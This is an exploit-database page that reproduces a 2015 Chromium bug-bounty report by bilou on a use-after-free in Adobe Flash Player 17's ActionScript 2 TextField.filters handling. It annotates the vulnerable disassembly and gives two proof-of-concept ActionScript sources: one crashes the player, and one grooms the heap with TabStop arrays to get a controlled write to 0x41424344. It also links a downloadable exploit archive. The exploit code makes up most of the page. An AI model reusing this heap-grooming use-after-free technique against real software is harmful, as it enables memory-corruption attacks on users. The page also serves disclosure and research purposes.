Adobe Flash AS2 – textfield.filters Use-After-Free (2)

  • 作者: bilou
    日期: 2015-08-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37848/
  • Source: https://code.google.com/p/google-security-research/issues/detail?id=342&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
    
    [Tracking for https://code.google.com/p/chromium/issues/detail?id=480496]
    
    Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
    
    ---
    VULNERABILITY DETAILS
    A little bug while setting the TextFilter.filters array.
    Chrome 42.0.2311.90 with Flash 17.0.0.169
    
    VERSION
    Chrome Version: 42.0.2311.90 Stable with Flash 17.0.0.169
    Operating System: [Win 7 SP1]
    
    REPRODUCTION CASE
    We can set the TextFilter.filters array with either an array or a custom object. Providing an object allows an attacker to execute AS2 code in the following loop (these lines come from flashplayer17_sa.exe 17.0.0.169):
    
    .text:004D6964 loc_4D6964:
    .text:004D6964 and eax, 0FFFFFFF8h
    .text:004D6967 pushedi
    .text:004D6968 mov edi, eax
    .text:004D696A mov ecx, edi
    .text:004D696C xor esi, esi
    .text:004D696E callxAS2_getArrayLength ; here we can override object.length and execute some code
    .text:004D6973 testeax, eax; if that code frees the object pointed by ebx...
    .text:004D6975 jle short loc_4D69A3
    .text:004D6977
    .text:004D6977 loc_4D6977:
    .text:004D6977 pushedi
    .text:004D6978 mov ecx, esi
    .text:004D697A callsub_4D3FE0; get an item from the object
    .text:004D697F add esp, 4
    .text:004D6982 testeax, eax; we have either a filter or 0 here
    .text:004D6984 jzshort loc_4D6997
    .text:004D6986 mov edx, [eax]
    .text:004D6988 mov ecx, eax
    .text:004D698A mov eax, [edx+18h]
    .text:004D698D calleax
    .text:004D698F pusheax
    .text:004D6990 mov ecx, ebx; ...we get a use after free here
    .text:004D6992 callsub_4CDB70; and a write-4 condition here
    .text:004D6997
    .text:004D6997 loc_4D6997:
    .text:004D6997 mov ecx, edi
    .text:004D6999 inc esi
    .text:004D699A callxAS2_getArrayLength
    .text:004D699F cmp esi, eax
    .text:004D69A1 jlshort loc_4D6977
    
    
    
    Freeing the object pointed by ebx is easy indeed:
    var tfield:TextField = createTextField("tf",1,1,2,3,4)//create a TextField at depth 1
    tfield.filters = [] //create the targeted object
    createTextField("textf",1,1,2,3,4) //create again a TextField (or any other DisplayObject) at the same depth and Flash frees the targeted object
    
    flash_as2_filters_uaf_write4_poc.swf just crashes the program and flash_as2_filters_uaf_write4.swf crashes while writing to 0x41424344
    
    ***************************************************************************
    Content of flash_as2_filters_uaf_write4_poc.fla
    //Compile that with Flash CS5.5 and change the property "s" in the swf to "3"
    //It's because Flash CS5.5 does not allow naming a property with a numeral
    
    import flash.filters.GlowFilter;
    
    var tfield:TextField = createTextField("tf",1,1,2,3,4)
    
    function f() {
    	_global.mc.createTextField("tf",1,1,2,3,4)
    }
    
    _global.mc = this
    _global.counter = 0
    
    var oCounter:Object = new Object()
    oCounter.valueOf = function () {
    	_global.counter += 1
    	if (_global.counter == 1) f()
    	return 10;
    }
    
    var o = {length:oCounter, 3:new GlowFilter(1,2,3,4,5,6,true,true)}
    tfield.filters = o
    
    ***************************************************************************
    Content of flash_as2_filters_uaf_write4.fla
    //Compile that with Flash CS5.5 and change the property "s" in the swf to "3"
    //It's because Flash CS5.5 does not allow naming a property with a numeral
    
    import flash.filters.GlowFilter;
    
    
    var a1:Array = new Array()
    var a2:Array = new Array()
    for (i = 0; i<0x3F8/4;i++) {
    	a2[i] = 0x41424344
    }
    a2[3] = 0
    a2[0x324/4] = 0x41414100
    a2[0x324/4 + 1] = 0x41424344
    a2[0x324/4 + 2] = 0x41414143
    a2[0x324/4 + 3] = 0x41414100
    
    for (var i = 0; i<0x200;i++) {
    	var tf:TextFormat = new TextFormat()
    	a1[i] = tf
    }
    for (var i = 0; i<0x100;i++) {
    	a1[i].tabStops = a2
    }
    
    
    var tfield:TextField = createTextField("tf",1,1,2,3,4)
    
    function f() {
    	_global.mc.createTextField("tf",1,1,2,3,4)
    	for (var i = 0x100; i<0x200;i++) {
    		_global.a1[i].tabStops = _global.a2
    	}
    }
    
    _global.mc = this
    _global.counter = 0
    _global.a1 = a1
    _global.a2 = a2
    
    var oCounter:Object = new Object()
    oCounter.valueOf = function () {
    	_global.counter += 1
    	if (_global.counter == 1) f()
    	return 10;
    }
    
    var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)}
    
    
    tfield.filters = o
    ---
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37848.zip